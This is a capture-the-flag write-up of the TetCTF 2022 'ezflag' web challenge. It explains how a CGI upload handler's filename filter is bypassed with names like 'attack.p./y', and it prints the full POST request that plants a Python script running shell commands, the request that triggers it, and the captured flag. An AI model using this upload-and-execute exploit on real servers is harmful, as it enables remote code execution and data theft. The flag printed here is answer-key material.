The full detailed writeup including part 2 is at
https://nandynarwhals.org/tetctf-2022-ezflag/.

Unpacking the tar file provided yields the following web application
deployment files:

```console  
$ tar xvf ezflag_109ff451f9d11258d01594c77aae131c.tar.gz  
x ezflag/conf/  
x ezflag/conf/lighttpd.conf  
x ezflag/conf/nginx-site.conf  
x ezflag/www/  
x ezflag/www/html/  
x ezflag/www/cgi-bin/  
x ezflag/www/upload/  
x ezflag/www/upload/shell.py  
x ezflag/www/cgi-bin/upload.py  
x ezflag/www/html/upload.html  
```

The `upload.py` file implements the main web application logic through CGI.
Breaking it up, we have  
the main function that performs basic authentication check and if it passes,
dispatches to the right  
handler.

```python  
#!/usr/bin/env python3

import os  
import cgi  
import base64  
import socket

def write_header(key, value) -> None:  
print('{:s}: {:s}'.format(key, value))

def write_status(code, msg) -> None:  
print('Status: {:d} {:s}'.format(code, msg), end='\n\n')

def write_location(url) -> None:  
print('Location: {:s}'.format(url), end='\n\n')

...

if __name__ == '__main__':  
if not check_auth():  
write_header('WWW-Authenticate', 'Basic')  
write_status(401, 'Unauthorized')  
else:  
method = os.environ.get('REQUEST_METHOD')  
if method == 'POST':  
handle_post()  
elif method == 'GET':  
handle_get()  
else:  
write_status(405, 'Method Not Allowed')

```

The basic authentication check parses the header and then forwards the
`username` and `password` as  
newline terminated strings to a server listening on port `4444` on the remote
localhost. It checks  
if the first byte sent back is a `'Y'`. We are given the username and password
of `admin:admin` so  
we'll just use these credentials for now.

```python  
def check_auth() -> bool:  
auth = os.environ.get('HTTP_AUTHORIZATION')  
if auth is None or len(auth) < 6 or auth[0:6] != 'Basic ':  
return False  
auth = auth[6:]  
try:  
data = base64.b64decode(auth.strip().encode('ascii')).split(b':')  
if len(data) != 2:  
return False  
username = data[0]  
password = data[1]  
if len(username) > 8 or len(password) > 16:  
return False  
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
s.connect(('127.0.0.1', 4444))  
s.settimeout(5)  
s.send(username + b'\n' + password + b'\n')  
result = s.recv(1)  
s.close()  
if result == b'Y':  
return True  
return False  
except:  
return False  
```

The `GET` handler is simple, it just prints the contents of an `upload.html`
HTML file in the  
response.

```python  
def handle_get() -> None:  
with open('../html/upload.html', 'rb') as f:  
dat = f.read()

write_header('Content-Type', 'text/html')  
write_header('Content-Length', str(len(dat)))  
write_status(200, 'OK')  
print(dat.decode('utf-8'), end=None)

```

The `POST` handler is more interesting. It allows for the writing of an
arbitrary file to an  
`upload` directory with some constraints on the filename. It checks for the
existence of `..` or  
`.py` in the filename and rejects it if found. Additionally, it also
'normalises' the filename by  
removing all occurrences of `'./'`.

```python  
def valid_file_name(name) -> bool:  
if len(name) == 0 or name[0] == '/':  
return False  
if '..' in name:  
return False  
if '.py' in name:  
return False  
return True

def handle_post() -> None:  
fs = cgi.FieldStorage()  
item = fs['file']  
if not item.file:  
write_status(400, 'Bad Request')  
return  
if not valid_file_name(item.filename):  
write_status(400, 'Bad Request')  
return  
normalized_name = item.filename.strip().replace('./', '')  
path = ''.join(normalized_name.split('/')[:-1])  
os.makedirs('../upload/' + path, exist_ok=True)  
with open('../upload/' + normalized_name, 'wb') as f:  
f.write(item.file.read())  
write_location('/uploads/' + normalized_name)

```

Assuming we want to be able to write `.py` files, we can abuse the
normalisation process to  
transform the filename to one that ends with `.py` after the check occurs. For
example:

```python  
In [486]: name = "attack.p./y"  
...: assert ".py" not in name  
...: normalized_name = name.strip().replace('./', '')  
...: assert ".py" in normalized_name  
...: print(normalized_name)  
attack.py  
```

If we look in `nginx-site.conf`, we can see that the `/upload/` directory that
we can upload files  
to is mapped to the `/uploads/` path on the web server.

```  
server {  
listen 80;  
listen [::]:80;

location / {  
proxy_set_header X-Real-IP $remote_addr;  
proxy_set_header X-Forwarded-For $remote_addr;  
proxy_pass http://127.0.0.1:8080/cgi-bin/upload.py;  
}

location /uploads/ {  
proxy_set_header X-Real-IP $remote_addr;  
proxy_set_header X-Forwarded-For $remote_addr;  
proxy_pass http://127.0.0.1:8080/uploads/;  
}  
}  
```

Within the `lighttpd.conf` configuration file, we can see that `.py` files are
executed with the  
`/usr/bin/python3` interpreter with CGI. Thus, if we write a `.py` file, we
can simply visit the  
path and it should execute our arbitrary code.

```  
...  
alias.url += ( "/cgi-bin" => "/var/www/cgi-bin" )  
alias.url += ( "/uploads" => "/var/www/upload" )  
cgi.assign = ( ".py" => "/usr/bin/python3" )  
```

Putting this together, we can create our exploit python script on the server
with the following  
`POST` request, including the `admin:admin` basic authentication header.

```  
POST / HTTP/1.1  
Host: 18.191.117.63:9090  
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:95.0)
Gecko/20100101 Firefox/95.0  
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Content-Type: multipart/form-data;
boundary=---------------------------27015668151794350363716216349  
Content-Length: 315  
Origin: http://18.191.117.63:9090  
Authorization: Basic YWRtaW46YWRtaW4=  
Connection: close  
Referer: http://18.191.117.63:9090/  
Upgrade-Insecure-Requests: 1

\-----------------------------27015668151794350363716216349  
Content-Disposition: form-data; name="file"; filename="amon_34123.p./y"  
Content-Type: application/octet-stream

#!/usr/bin/env python3

import os  
print(os.system("ls -la /;cat /flag"))

\-----------------------------27015668151794350363716216349--

```

Next, to trigger the script, we just simply visit the `/uploads/amon_34123.py`
script path.

```  
GET /uploads/amon_34123.py HTTP/1.1  
Host: 18.191.117.63:9090  
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:95.0)
Gecko/20100101 Firefox/95.0  
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Authorization: Basic YWRtaW46YWRtaW4=  
Connection: close  
Upgrade-Insecure-Requests: 1

```

In the response, we can see that the `flag` as well as some other interesting
file such as `flag2`  
and `auth` are located at the `/` path. We also obtain our first flag.

```  
HTTP/1.1 200 OK  
Server: nginx/1.18.0 (Ubuntu)  
Date: Sat, 01 Jan 2022 06:58:00 GMT  
Content-Length: 1636  
Connection: close

total 864  
drwxr-xr-x 1 root root 4096 Jan 1 00:06 .  
drwxr-xr-x 1 root root 4096 Jan 1 00:06 ..  
-rwxr-xr-x 1 root root 0 Jan 1 00:06 .dockerenv  
-r-xr--r-- 1 daemon daemon 802768 Dec 31 22:39 auth  
lrwxrwxrwx 1 root root 7 Oct 6 16:47 bin -> usr/bin  
drwxr-xr-x 2 root root 4096 Apr 15 2020 boot  
drwxr-xr-x 5 root root 340 Jan 1 03:44 dev  
drwxr-xr-x 1 root root 4096 Jan 1 00:06 etc  
-r--r--r-- 1 root root 41 Jan 1 00:03 flag  
-r-------- 1 daemon daemon 41 Jan 1 00:03 flag2  
drwxr-xr-x 2 root root 4096 Apr 15 2020 home  
lrwxrwxrwx 1 root root 7 Oct 6 16:47 lib -> usr/lib  
lrwxrwxrwx 1 root root 9 Oct 6 16:47 lib32 -> usr/lib32  
lrwxrwxrwx 1 root root 9 Oct 6 16:47 lib64 -> usr/lib64  
lrwxrwxrwx 1 root root 10 Oct 6 16:47 libx32 -> usr/libx32  
drwxr-xr-x 2 root root 4096 Oct 6 16:47 media  
drwxr-xr-x 2 root root 4096 Oct 6 16:47 mnt  
drwxr-xr-x 2 root root 4096 Oct 6 16:47 opt  
dr-xr-xr-x 995 root root 0 Jan 1 03:44 proc  
drwx------ 1 root root 4096 Jan 1 03:40 root  
drwxr-xr-x 1 root root 4096 Jan 1 00:06 run  
-rwxr-xr-x 1 1000 1000 189 Dec 31 15:29 run.sh  
lrwxrwxrwx 1 root root 8 Oct 6 16:47 sbin -> usr/sbin  
drwxr-xr-x 2 root root 4096 Oct 6 16:47 srv  
dr-xr-xr-x 13 root root 0 Jan 1 03:44 sys  
drwxrwxrwt 1 root root 4096 Jan 1 06:57 tmp  
drwxr-xr-x 1 root root 4096 Jan 1 00:05 usr  
drwxr-xr-x 1 root root 4096 Jan 1 00:05 var  
TetCTF{65e95f4eacc1fe7010616e051f1c610a}  
0

```

**Flag:** `TetCTF{65e95f4eacc1fe7010616e051f1c610a}`

Original writeup (https://nandynarwhals.org/tetctf-2022-ezflag/).